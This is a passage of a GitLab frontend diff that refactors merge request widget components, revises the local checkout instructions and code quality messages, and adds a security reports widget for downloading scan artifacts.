+ return createElement(ReportAbuseButton);
+ },
+ });
+};
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/extensions/base.vue b/app/assets/javascripts/vue_merge_request_widget/components/extensions/base.vue
index e8cc9b2eb2a..7cfc9431c2a 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/extensions/base.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/extensions/base.vue
@@ -69,7 +69,7 @@ export default {
isCollapsible() {
if (!this.isLoadingSummary && this.loadingState !== LOADING_STATES.collapsedError) {
if (this.shouldCollapse) {
- return this.shouldCollapse();
+ return this.shouldCollapse(this.collapsedData);
}
return true;
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_collapsible_extension.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_collapsible_extension.vue
index 6475def461a..e435dc56503 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_collapsible_extension.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_collapsible_extension.vue
@@ -1,12 +1,10 @@
<script>
-import { GlButton, GlLoadingIcon, GlIcon } from '@gitlab/ui';
+import { GlButton } from '@gitlab/ui';
import { __ } from '~/locale';
export default {
components: {
GlButton,
- GlLoadingIcon,
- GlIcon,
},
props: {
title: {
@@ -32,7 +30,7 @@ export default {
computed: {
arrowIconName() {
- return this.isCollapsed ? 'chevron-lg-right' : 'chevron-lg-down';
+ return this.isCollapsed ? 'chevron-right' : 'chevron-down';
},
ariaLabel() {
return this.isCollapsed ? __('Expand') : __('Collapse');
@@ -47,7 +45,7 @@ export default {
</script>
<template>
<div class="mr-widget-extension">
- <div class="d-flex align-items-center pl-3">
+ <div class="d-flex align-items-center pl-3 gl-py-3">
<div v-if="hasError" class="ci-widget media">
<div class="media-body">
<span class="gl-font-sm mr-widget-margin-left gl-line-height-24 js-error-state">
@@ -57,16 +55,15 @@ export default {
</div>
<template v-else>
- <button
- class="btn-blank btn s32 square"
- type="button"
+ <gl-button
+ class="gl-mr-3"
+ size="small"
:aria-label="ariaLabel"
- :disabled="isLoading"
+ :loading="isLoading"
+ :icon="arrowIconName"
+ category="tertiary"
@click="toggleCollapsed"
- >
- <gl-loading-icon v-if="isLoading" size="sm" />
- <gl-icon v-else :name="arrowIconName" class="js-icon" />
- </button>
+ />
<template v-if="isCollapsed">
<slot name="header"></slot>
<gl-button
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_how_to_merge_modal.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_how_to_merge_modal.vue
index c2a3ae361ca..20284c4a3d8 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_how_to_merge_modal.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_how_to_merge_modal.vue
@@ -19,20 +19,18 @@ export default {
},
step3: {
label: __('Step 3.'),
- help: __(
- 'Merge the feature branch into the target branch and fix any conflicts. %{linkStart}How do I fix them?%{linkEnd}',
- ),
+ help: __('Resolve any conflicts. %{linkStart}How do I fix them?%{linkEnd}'),
},
step4: {
label: __('Step 4.'),
- help: __('Push the target branch up to GitLab.'),
+ help: __('Push the source branch up to GitLab.'),
},
},
copyCommands: __('Copy commands'),
tip: __(
- '%{strongStart}Tip:%{strongEnd} You can also check out merge requests locally. %{linkStart}Learn more.%{linkEnd}',
+ '%{strongStart}Tip:%{strongEnd} You can also %{linkStart}check out with merge request ID%{linkEnd}.',
),
- title: __('Check out, review, and merge locally'),
+ title: __('Check out, review, and resolve locally'),
},
components: {
GlModal,
@@ -93,21 +91,11 @@ export default {
: `git fetch origin\ngit checkout -b ${this.escapedSourceBranch} ${escapedOriginBranch}`;
},
mergeInfo2() {
- return this.isFork
- ? `git fetch origin\ngit checkout ${this.escapedTargetBranch}\ngit merge --no-ff ${this.escapedForkBranch}`
- : `git fetch origin\ngit checkout ${this.escapedTargetBranch}\ngit merge --no-ff ${this.escapedSourceBranch}`;
- },
- mergeInfo3() {
- return this.canMerge
- ? `git push origin ${this.escapedTargetBranch}`
- : __('Note that pushing to GitLab requires write access to this repository.');
+ return `git push origin ${this.escapedSourceBranch}`;
},
escapedForkBranch() {
return escapeShellString(`${this.sourceProjectPath}-${this.sourceBranch}`);
},
- escapedTargetBranch() {
- return escapeShellString(this.targetBranch);
- },
escapedSourceBranch() {
return escapeShellString(this.sourceBranch);
},
@@ -145,6 +133,18 @@ export default {
class="gl-shadow-none! gl-bg-transparent! gl-flex-shrink-0"
/>
</div>
+ <p v-if="reviewingDocsPath">
+ <gl-sprintf data-testid="docs-tip" :message="$options.i18n.tip">
+ <template #strong="{ content }">
+ <strong>{{ content }}</strong>
+ </template>
+ <template #link="{ content }">
+ <gl-link class="gl-display-inline-block" :href="reviewingDocsPath" target="_blank">{{
+ content
+ }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
<p>
<strong>
@@ -164,14 +164,6 @@ export default {
</template>
</gl-sprintf>
</p>
- <div class="gl-display-flex">
- <pre class="gl-w-full" data-testid="how-to-merge-instructions">{{ mergeInfo2 }}</pre>
- <clipboard-button
- :text="mergeInfo2"
- :title="$options.i18n.copyCommands"
- class="gl-shadow-none! gl-bg-transparent! gl-flex-shrink-0"
- />
- </div>
<p>
<strong>
{{ $options.i18n.steps.step4.label }}
@@ -179,24 +171,12 @@ export default {
{{ $options.i18n.steps.step4.help }}
</p>
<div class="gl-display-flex">
- <pre class="gl-w-full" data-testid="how-to-merge-instructions">{{ mergeInfo3 }}</pre>
+ <pre class="gl-w-full" data-testid="how-to-merge-instructions">{{ mergeInfo2 }}</pre>
<clipboard-button
- :text="mergeInfo3"
+ :text="mergeInfo2"
:title="$options.i18n.copyCommands"
class="gl-shadow-none! gl-bg-transparent! gl-flex-shrink-0"
/>
</div>
- <p v-if="reviewingDocsPath">
- <gl-sprintf data-testid="docs-tip" :message="$options.i18n.tip">
- <template #strong="{ content }">
- <strong>{{ content }}</strong>
- </template>
- <template #link="{ content }">
- <gl-link class="gl-display-inline-block" :href="reviewingDocsPath" target="_blank">{{
- content
- }}</gl-link>
- </template>
- </gl-sprintf>
- </p>
</gl-modal>
</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/report_widget_container.vue b/app/assets/javascripts/vue_merge_request_widget/components/report_widget_container.vue
index 2683956e603..ecf08f78f57 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/report_widget_container.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/report_widget_container.vue
@@ -6,7 +6,15 @@ export default {
};
},
updated() {
- this.hasChildren = this.$scopedSlots.default?.()?.some((c) => c.tag);
+ this.hasChildren = this.checkSlots();
+ },
+ mounted() {
+ this.hasChildren = this.checkSlots();
+ },
+ methods: {
+ checkSlots() {
+ return this.$scopedSlots.default?.()?.some((c) => c.tag);
+ },
},
};
</script>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/state_container.vue b/app/assets/javascripts/vue_merge_request_widget/components/state_container.vue
index 9a3555d3e11..f7d6f7b4345 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/state_container.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/state_container.vue
@@ -76,17 +76,17 @@ export default {
<div
:class="{
'gl-display-flex gl-align-items-center': actions.length,
- 'gl-md-display-flex gl-align-items-center': !actions.length,
+ 'gl-md-display-flex gl-align-items-center gl-flex-wrap gl-gap-3': !actions.length,
}"
- class="media-body"
+ class="media-body gl-line-height-24"
>
<slot></slot>
<div
:class="{
- 'state-container-action-buttons gl-flex-direction-column gl-flex-wrap gl-justify-content-end': !actions.length,
+ 'state-container-action-buttons gl-flex-wrap gl-lg-justify-content-end': !actions.length,
'gl-md-pt-0 gl-pt-3': hasActionsSlot,
}"
- class="gl-display-flex gl-font-size-0 gl-ml-auto gl-gap-3"
+ class="gl-display-flex gl-font-size-0 gl-gap-3"
>
<slot name="actions">
<actions v-if="actions.length" :tertiary-buttons="actions" />
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue
index 8e1b18c63a4..a5d982fe221 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue
@@ -88,25 +88,24 @@ export default {
</template>
<template v-if="!isLoading && !state.shouldBeRebased" #actions>
<gl-button
- v-if="userPermissions.canMerge"
+ v-if="showResolveButton"
+ :href="mr.conflictResolutionPath"
size="small"
variant="confirm"
- category="secondary"
- data-testid="merge-locally-button"
- class="js-check-out-modal-trigger gl-align-self-start"
- :class="{ 'gl-mr-2': showResolveButton }"
+ class="gl-align-self-start"
+ data-testid="resolve-conflicts-button"
>
- {{ s__('mrWidget|Resolve locally') }}
+ {{ s__('mrWidget|Resolve conflicts') }}
</gl-button>
<gl-button
- v-if="showResolveButton"
- :href="mr.conflictResolutionPath"
+ v-if="userPermissions.canMerge"
size="small"
variant="confirm"
- class="gl-mb-2 gl-md-mb-0 gl-align-self-start"
- data-testid="resolve-conflicts-button"
+ category="secondary"
+ data-testid="merge-locally-button"
+ class="js-check-out-modal-trigger gl-align-self-start"
>
- {{ s__('mrWidget|Resolve conflicts') }}
+ {{ s__('mrWidget|Resolve locally') }}
</gl-button>
</template>
</state-container>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue
index 4ae4edf02c3..d687f0346c7 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue
@@ -179,27 +179,27 @@ export default {
</template>
<template v-if="!isLoading" #actions>
<gl-button
- v-if="showRebaseWithoutPipeline"
:loading="isMakingRequest"
variant="confirm"
size="small"
- category="secondary"
- data-testid="rebase-without-ci-button"
- class="gl-align-self-start gl-mr-2"
- @click="rebaseWithoutCi"
+ data-qa-selector="mr_rebase_button"
+ data-testid="standard-rebase-button"
+ class="gl-align-self-start"
+ @click="rebase"
>
- {{ __('Rebase without pipeline') }}
+ {{ __('Rebase') }}
</gl-button>
<gl-button
+ v-if="showRebaseWithoutPipeline"
:loading="isMakingRequest"
variant="confirm"
size="small"
- data-qa-selector="mr_rebase_button"
- data-testid="standard-rebase-button"
- class="gl-mb-2 gl-md-mb-0 gl-align-self-start"
- @click="rebase"
+ category="secondary"
+ data-testid="rebase-without-ci-button"
+ class="gl-align-self-start gl-mr-2"
+ @click="rebaseWithoutCi"
>
- {{ __('Rebase') }}
+ {{ __('Rebase without pipeline') }}
</gl-button>
</template>
</state-container>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue
index 01f9b4757a0..211fbba305f 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue
@@ -1,7 +1,6 @@
<script>
import { GlButton } from '@gitlab/ui';
import { produce } from 'immer';
-import $ from 'jquery';
import { createAlert } from '~/flash';
import toast from '~/vue_shared/plugins/global_toast';
import { __ } from '~/locale';
@@ -111,7 +110,9 @@ export default {
},
}) => {
toast(__('Marked as ready. Merging is now allowed.'));
- $('.merge-request .detail-page-description .title').text(title);
+ document.querySelector(
+ '.merge-request .detail-page-description .title',
+ ).textContent = title;
if (!window.gon?.features?.realtimeMrStatusChange) {
eventHub.$emit('MRWidgetUpdateRequested');
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/widget/app.vue b/app/assets/javascripts/vue_merge_request_widget/components/widget/app.vue
index 18aa85484ea..5db5f1f8dcf 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/widget/app.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/widget/app.vue
@@ -1,5 +1,11 @@
<script>
export default {
+ components: {
+ MrSecurityWidget: () =>
+ import(
+ '~/vue_merge_request_widget/extensions/security_reports/mr_widget_security_reports.vue'
+ ),
+ },
props: {
mr: {
type: Object,
@@ -8,7 +14,9 @@ export default {
},
computed: {
widgets() {
- return [].filter((w) => w);
+ return [window.gon?.features?.refactorSecurityExtension && 'MrSecurityWidget'].filter(
+ (w) => w,
+ );
},
},
};
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/widget/widget.vue b/app/assets/javascripts/vue_merge_request_widget/components/widget/widget.vue
index cdf35033021..7343c98938c 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/widget/widget.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/widget/widget.vue
@@ -42,7 +42,8 @@ export default {
*/
value: {
type: Object,
- required: true,
+ required: false,
+ default: () => ({}),
},
loadingText: {
type: String,
@@ -56,7 +57,8 @@ export default {
},
fetchCollapsedData: {
type: Function,
- required: true,
+ required: false,
+ default: undefined,
},
fetchExpandedData: {
type: Function,
@@ -119,6 +121,12 @@ export default {
required: false,
default: null,
},
+ // When this is provided, the widget will display an error message in the summary section.
+ hasError: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
data() {
return {
@@ -138,8 +146,17 @@ export default {
summaryStatusIcon() {
return this.summaryError ? this.$options.failedStatusIcon : this.statusIconName;
},
+ hasActionButtons() {
+ return this.actionButtons.length > 0 || Boolean(this.$scopedSlots['action-buttons']);
+ },
},
watch: {
+ hasError: {
+ handler(newValue) {
+ this.summaryError = newValue ? this.errorText : null;
+ },
+ immediate: true,
+ },
isLoading(newValue) {
this.$emit('is-loading', newValue);
},
@@ -154,7 +171,9 @@ export default {
this.telemetryHub?.viewed();
try {
- await this.fetch(this.fetchCollapsedData, FETCH_TYPE_COLLAPSED);
+ if (this.fetchCollapsedData) {
+ await this.fetch(this.fetchCollapsedData, FETCH_TYPE_COLLAPSED);
+ }
} catch {
this.summaryError = this.errorText;
}
@@ -258,7 +277,7 @@ export default {
v-if="helpPopover"
icon="information-o"
:options="helpPopover.options"
- :class="{ 'gl-mr-3': actionButtons.length > 0 }"
+ :class="{ 'gl-mr-3': hasActionButtons }"
>
<template v-if="helpPopover.content">
<p
@@ -275,12 +294,14 @@ export default {
>
</template>
</help-popover>
- <action-buttons
- v-if="actionButtons.length > 0"
- :widget="widgetName"
- :tertiary-buttons="actionButtons"
- @clickedAction="onActionClick"
- />
+ <slot name="action-buttons">
+ <action-buttons
+ v-if="actionButtons.length > 0"
+ :widget="widgetName"
+ :tertiary-buttons="actionButtons"
+ @clickedAction="onActionClick"
+ />
+ </slot>
</div>
<div
v-if="isCollapsible"
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/widget/widget_content_row.vue b/app/assets/javascripts/vue_merge_request_widget/components/widget/widget_content_row.vue
index 543136dc659..b64f9c148d1 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/widget/widget_content_row.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/widget/widget_content_row.vue
@@ -79,8 +79,11 @@ export default {
</script>
<template>
<div
- class="gl-w-full gl-display-flex gl-align-items-baseline"
- :class="{ 'gl-border-t gl-py-3 gl-pl-7': level === 2 }"
+ class="gl-w-full gl-display-flex"
+ :class="{
+ 'gl-border-t gl-py-3 gl-pl-7 gl-align-items-baseline': level === 2,
+ 'gl-align-items-center': level === 3,
+ }"
>
<status-icon
v-if="statusIconName && !header"
diff --git a/app/assets/javascripts/vue_merge_request_widget/extensions/code_quality/constants.js b/app/assets/javascripts/vue_merge_request_widget/extensions/code_quality/constants.js
index 03af21a5019..26c986884d3 100644
--- a/app/assets/javascripts/vue_merge_request_widget/extensions/code_quality/constants.js
+++ b/app/assets/javascripts/vue_merge_request_widget/extensions/code_quality/constants.js
@@ -1,4 +1,9 @@
-import { n__, s__, sprintf } from '~/locale';
+import { n__, s__, __, sprintf } from '~/locale';
+
+export const codeQualityPrefixes = {
+ fixed: 'fixed',
+ new: 'new',
+};
export const i18n = {
label: s__('ciReport|Code Quality'),
@@ -7,25 +12,23 @@ export const i18n = {
noChanges: s__(`ciReport|Code Quality hasn't changed.`),
prependText: s__(`ciReport|in`),
fixed: s__(`ciReport|Fixed`),
- pluralReport: (errors) =>
+ findings: (errors, prefix) =>
sprintf(
n__(
- '%{strong_start}%{errors}%{strong_end} point',
- '%{strong_start}%{errors}%{strong_end} points',
+ '%{strong_start}%{errors}%{strong_end} %{prefix} finding',
+ '%{strong_start}%{errors}%{strong_end} %{prefix} findings',
errors.length,
),
{
errors: errors.length,
+ prefix,
},
false,
),
- singularReport: (errors) => n__('%d point', '%d points', errors.length),
improvementAndDegradationCopy: (improvement, degradation) =>
- sprintf(
- s__(`ciReport|Code Quality improved on ${improvement} and degraded on ${degradation}.`),
- ),
- improvedCopy: (improvements) =>
- sprintf(s__(`ciReport|Code Quality improved on ${improvements}.`)),
- degradedCopy: (degradations) =>
- sprintf(s__(`ciReport|Code Quality degraded on ${degradations}.`)),
+ sprintf(__('Code Quality scans found %{degradation} and %{improvement}.'), {
+ improvement,
+ degradation,
+ }),
+ singularCopy: (findings) => sprintf(__('Code Quality scans found %{findings}.'), { findings }),
};
diff --git a/app/assets/javascripts/vue_merge_request_widget/extensions/code_quality/index.js b/app/assets/javascripts/vue_merge_request_widget/extensions/code_quality/index.js
index 394f8979a53..4f9bba1e0cb 100644
--- a/app/assets/javascripts/vue_merge_request_widget/extensions/code_quality/index.js
+++ b/app/assets/javascripts/vue_merge_request_widget/extensions/code_quality/index.js
@@ -4,7 +4,7 @@ import { SEVERITY_ICONS_MR_WIDGET } from '~/ci/reports/codequality_report/consta
import { HTTP_STATUS_NO_CONTENT } from '~/lib/utils/http_status';
import { parseCodeclimateMetrics } from '~/ci/reports/codequality_report/store/utils/codequality_parser';
import { capitalizeFirstCharacter } from '~/lib/utils/text_utility';
-import { i18n } from './constants';
+import { i18n, codeQualityPrefixes } from './constants';
export default {
name: 'WidgetCodeQuality',
@@ -12,28 +12,36 @@ export default {
props: ['codeQuality', 'blobPath'],
i18n,
computed: {
+ shouldCollapse(data) {
+ const { newErrors, resolvedErrors, parsingInProgress } = data;
+ if (parsingInProgress || (newErrors.length === 0 && resolvedErrors.length === 0)) {
+ return false;
+ }
+ return true;
+ },
summary(data) {
- const { newErrors, resolvedErrors, errorSummary, parsingInProgress } = data;
-
+ const { newErrors, resolvedErrors, parsingInProgress } = data;
if (parsingInProgress) {
return i18n.loading;
- } else if (errorSummary.errored >= 1 && errorSummary.resolved >= 1) {
+ } else if (newErrors.length >= 1 && resolvedErrors.length >= 1) {
return i18n.improvementAndDegradationCopy(
- i18n.pluralReport(resolvedErrors),
- i18n.pluralReport(newErrors),
+ i18n.findings(resolvedErrors, codeQualityPrefixes.fixed),
+ i18n.findings(newErrors, codeQualityPrefixes.new),
);
- } else if (errorSummary.resolved >= 1) {
- return i18n.improvedCopy(i18n.singularReport(resolvedErrors));
- } else if (errorSummary.errored >= 1) {
- return i18n.degradedCopy(i18n.singularReport(newErrors));
+ } else if (resolvedErrors.length >= 1) {
+ return i18n.singularCopy(i18n.findings(resolvedErrors, codeQualityPrefixes.fixed));
+ } else if (newErrors.length >= 1) {
+ return i18n.singularCopy(i18n.findings(newErrors, codeQualityPrefixes.new));
}
return i18n.noChanges;
},
statusIcon() {
- if (this.collapsedData.errorSummary?.errored >= 1) {
+ if (this.collapsedData.newErrors.length >= 1) {
return EXTENSION_ICONS.warning;
+ } else if (this.collapsedData.resolvedErrors.length >= 1) {
+ return EXTENSION_ICONS.success;
}
- return EXTENSION_ICONS.success;
+ return EXTENSION_ICONS.neutral;
},
},
methods: {
@@ -46,8 +54,6 @@ export default {
parsingInProgress: status === HTTP_STATUS_NO_CONTENT,
resolvedErrors: parseCodeclimateMetrics(data.resolved_errors, this.blobPath.head_path),
newErrors: parseCodeclimateMetrics(data.new_errors, this.blobPath.head_path),
- existingErrors: parseCodeclimateMetrics(data.existing_errors, this.blobPath.head_path),
- errorSummary: data.summary,
},
};
});
diff --git a/app/assets/javascripts/vue_merge_request_widget/extensions/security_reports/graphql/security_report_merge_request_download_paths.query.graphql b/app/assets/javascripts/vue_merge_request_widget/extensions/security_reports/graphql/security_report_merge_request_download_paths.query.graphql
new file mode 100644
index 00000000000..c12e4d1febb
--- /dev/null
+++ b/app/assets/javascripts/vue_merge_request_widget/extensions/security_reports/graphql/security_report_merge_request_download_paths.query.graphql
@@ -0,0 +1,28 @@
+query securityReportsDownloadPaths(
+ $projectPath: ID!
+ $iid: String!
+ $reportTypes: [SecurityReportTypeEnum!]
+) {
+ project(fullPath: $projectPath) {
+ id
+ mergeRequest(iid: $iid) {
+ id
+ headPipeline {
+ id
+ jobs(securityReportTypes: $reportTypes) {
+ nodes {
+ id
+ name
+ artifacts {
+ # eslint-disable-next-line @graphql-eslint/require-id-when-available
+ nodes {
+ downloadPath
+ fileType
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/vue_merge_request_widget/extensions/security_reports/mr_widget_security_reports.vue b/app/assets/javascripts/vue_merge_request_widget/extensions/security_reports/mr_widget_security_reports.vue
new file mode 100644
index 00000000000..f0b20adc5cf
--- /dev/null
+++ b/app/assets/javascripts/vue_merge_request_widget/extensions/security_reports/mr_widget_security_reports.vue
@@ -0,0 +1,134 @@
+<script>
+import { GlDropdown, GlDropdownItem, GlTooltipDirective as GlTooltip } from '@gitlab/ui';
+import MrWidget from '~/vue_merge_request_widget/components/widget/widget.vue';
+import { helpPagePath } from '~/helpers/help_page_helper';
+import { s__, sprintf } from '~/locale';
+import { EXTENSION_ICONS } from '~/vue_merge_request_widget/constants';
+import securityReportMergeRequestDownloadPathsQuery from './graphql/security_report_merge_request_download_paths.query.graphql';
+
+export default {
+ name: 'WidgetSecurityReportsCE',
+ components: {
+ MrWidget,
+ GlDropdown,
+ GlDropdownItem,
+ },
+ directives: {
+ GlTooltip,
+ },
+ i18n: {
+ apiError: s__(
+ 'SecurityReports|Failed to get security report information. Please reload the page or try again later.',
+ ),
+ scansHaveRun: s__('SecurityReports|Security scans have run'),
+ },
+ props: {
+ mr: {
+ type: Object,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ hasError: false,
+ };
+ },
+ reportTypes: ['sast', 'secret_detection'],
+ apollo: {
+ reportArtifacts: {
+ query: securityReportMergeRequestDownloadPathsQuery,
+ variables() {
+ return {
+ projectPath: this.mr.targetProjectFullPath,
+ iid: String(this.mr.iid),
+ reportTypes: this.$options.reportTypes.map((r) => r.toUpperCase()),
+ };
+ },
+ update(data) {
+ const artifacts = [];
+
+ (data?.project?.mergeRequest?.headPipeline?.jobs?.nodes || []).forEach((reportType) => {
+ reportType.artifacts?.nodes.forEach((artifact) => {
+ if (artifact.fileType !== 'TRACE') {
+ artifacts.push({
+ name: reportType.name,
+ id: reportType.id,
+ path: artifact.downloadPath,
+ });
+ }
+ });
+ });
+
+ return artifacts;
+ },
+ error() {
+ this.hasError = true;
+ },
+ },
+ },
+ computed: {
+ artifacts() {
+ return this.reportArtifacts || [];
+ },
+ },
+ methods: {
+ handleIsLoading(value) {
+ this.isLoading = value;
+ },
+
+ artifactText({ name }) {
+ return sprintf(s__('SecurityReports|Download %{artifactName}'), {
+ artifactName: name,
+ });
+ },
+ },
+ widgetHelpPopover: {
+ options: { title: s__('ciReport|Security scan results') },
+ content: {
+ text: s__(
+ 'ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch.',
+ ),
+ learnMorePath: helpPagePath('user/application_security/index', {
+ anchor: 'view-security-scan-information-in-merge-requests',
+ }),
+ },
+ },
+ icons: EXTENSION_ICONS,
+};
+</script>
+
+<template>
+ <mr-widget
+ :has-error="hasError"
+ :error-text="$options.i18n.apiError"
+ :status-icon-name="$options.icons.warning"
+ :widget-name="$options.name"
+ :is-collapsible="false"
+ :help-popover="$options.widgetHelpPopover"
+ :summary="$options.i18n.scansHaveRun"
+ @is-loading="handleIsLoading"
+ >
+ <template v-if="artifacts.length > 0" #action-buttons>
+ <div class="gl-ml-3">
+ <gl-dropdown
+ v-gl-tooltip
+ icon="download"
+ size="small"
+ category="tertiary"
+ variant="confirm"
+ right
+ >
+ <gl-dropdown-item
+ v-for="artifact in artifacts"
+ :key="artifact.path"
+ :href="artifact.path"
+ :data-testid="`download-${artifact.name}`"
+ download
+ >
+ {{ artifactText(artifact) }}
+ </gl-dropdown-item>
+ </gl-dropdown>
+ </div>
+ </template>
+ </mr-widget>
+</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/stores/artifacts_list/actions.js b/app/assets/javascripts/vue_merge_request_widget/stores/artifacts_list/actions.js
index 5fd5950859b..c8d969e3adf 100644
--- a/app/assets/javascripts/vue_merge_request_widget/stores/artifacts_list/actions.js
+++ b/app/assets/javascripts/vue_merge_request_widget/stores/artifacts_list/actions.js
@@ -1,6 +1,6 @@
import Visibility from 'visibilityjs';
import axios from '~/lib/utils/axios_utils';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
import Poll from '~/lib/utils/poll';
import * as types from './mutation_types';
@@ -63,7 +63,7 @@ export const fetchArtifacts = ({ state, dispatch }) => {
export const receiveArtifactsSuccess = ({ commit }, response) => {
// With 204 we keep polling and don't update the state
- if (response.status === httpStatusCodes.OK) {
+ if (response.status === HTTP_STATUS_OK) {
commit(types.RECEIVE_ARTIFACTS_SUCCESS, response.data);
}
};
diff --git a/app/assets/javascripts/vue_shared/components/ci_badge_link.vue b/app/assets/javascripts/vue_shared/components/ci_badge_link.vue
index c93057c491c..271cfd210a6 100644
--- a/app/assets/javascripts/vue_shared/components/ci_badge_link.vue
+++ b/app/assets/javascripts/vue_shared/components/ci_badge_link.vue
@@ -66,6 +66,7 @@ export default {
<template>
<gl-link
v-gl-tooltip
+ class="gl-display-inline-flex gl-align-items-center gl-line-height-0 gl-px-3 gl-py-2 gl-rounded-base"
:class="cssClass"
:title="title"
data-qa-selector="status_badge_link"
@@ -75,7 +76,7 @@ export default {
<ci-icon :status="status" :css-classes="iconClasses" />
<template v-if="showText">
- {{ status.text }}
+ <span class="gl-ml-2">{{ status.text }}</span>
</template>
</gl-link>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/ci_cd_analytics/ci_cd_analytics_charts.vue b/app/assets/javascripts/vue_shared/components/ci_cd_analytics/ci_cd_analytics_charts.vue
index 6a03e38a31d..47b96934420 100644
--- a/app/assets/javascripts/vue_shared/components/ci_cd_analytics/ci_cd_analytics_charts.vue
+++ b/app/assets/javascripts/vue_shared/components/ci_cd_analytics/ci_cd_analytics_charts.vue
@@ -2,6 +2,7 @@
import { s__, sprintf } from '~/locale';
import SegmentedControlButtonGroup from '~/vue_shared/components/segmented_control_button_group.vue';
import CiCdAnalyticsAreaChart from './ci_cd_analytics_area_chart.vue';
+import { DEFAULT_SELECTED_CHART } from './constants';
export default {
components: {
@@ -20,7 +21,7 @@ export default {
},
data() {
return {
- selectedChart: 0,
+ selectedChart: DEFAULT_SELECTED_CHART,
};
},
computed: {
diff --git a/app/assets/javascripts/vue_shared/components/ci_cd_analytics/constants.js b/app/assets/javascripts/vue_shared/components/ci_cd_analytics/constants.js
index 1561674c0ad..3ac632b4690 100644
--- a/app/assets/javascripts/vue_shared/components/ci_cd_analytics/constants.js
+++ b/app/assets/javascripts/vue_shared/components/ci_cd_analytics/constants.js
@@ -1 +1,2 @@
export const CHART_CONTAINER_HEIGHT = 300;
+export const DEFAULT_SELECTED_CHART = 2;
diff --git a/app/assets/javascripts/vue_shared/components/ci_icon.vue b/app/assets/javascripts/vue_shared/components/ci_icon.vue
index 8bffc2479a1..0d7547d88a1 100644
--- a/app/assets/javascripts/vue_shared/components/ci_icon.vue
+++ b/app/assets/javascripts/vue_shared/components/ci_icon.vue
@@ -69,7 +69,7 @@ export default {
computed: {
wrapperStyleClasses() {
const status = this.status.group;
- return `ci-status-icon ci-status-icon-${status} js-ci-status-icon-${status} gl-rounded-full gl-justify-content-center`;
+ return `ci-status-icon ci-status-icon-${status} js-ci-status-icon-${status} gl-rounded-full gl-justify-content-center gl-line-height-0`;
},
icon() {
return this.isBorderless ? `${this.status.icon}_borderless` : this.status.icon;
diff --git a/app/assets/javascripts/vue_shared/components/constants.js b/app/assets/javascripts/vue_shared/components/constants.js
new file mode 100644
index 00000000000..b7ff715922d
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/constants.js
@@ -0,0 +1,4 @@
+export const KEY_EDIT = 'edit';
+export const KEY_WEB_IDE = 'webide';
+export const KEY_GITPOD = 'gitpod';
+export const KEY_PIPELINE_EDITOR = 'pipeline_editor';
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue
index 74905dc2ae0..9c30ec67d5a 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue
@@ -67,6 +67,7 @@ export default {
:suggestions="emojis"
:suggestions-loading="loading"
:get-active-token-value="getActiveEmoji"
+ value-identifier="name"
v-bind="$attrs"
@fetch-suggestions="fetchEmojis"
v-on="$listeners"
diff --git a/app/assets/javascripts/vue_shared/components/group_select/constants.js b/app/assets/javascripts/vue_shared/components/group_select/constants.js
index bc70936eb36..06537d682fe 100644
--- a/app/assets/javascripts/vue_shared/components/group_select/constants.js
+++ b/app/assets/javascripts/vue_shared/components/group_select/constants.js
@@ -1,6 +1,7 @@
import { __ } from '~/locale';
export const TOGGLE_TEXT = __('Search for a group');
